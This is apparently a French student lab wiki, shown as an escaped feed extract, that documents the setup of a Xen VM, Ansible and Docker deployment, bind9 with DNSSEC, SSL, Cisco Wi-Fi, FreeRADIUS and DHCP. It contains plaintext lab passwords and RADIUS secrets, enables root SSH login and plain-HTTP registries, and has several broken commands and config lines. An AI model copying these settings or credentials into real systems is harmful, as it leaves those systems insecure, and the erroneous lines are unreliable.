Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On va créer plusieurs rôles qui seront lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/piedbleu&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur web automatiquement sur toutes les VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; on crée un nouveau rôle.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; avec un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55009</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55009"/>
				<updated>2020-12-18T22:38:01Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Ferme de serveurs web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
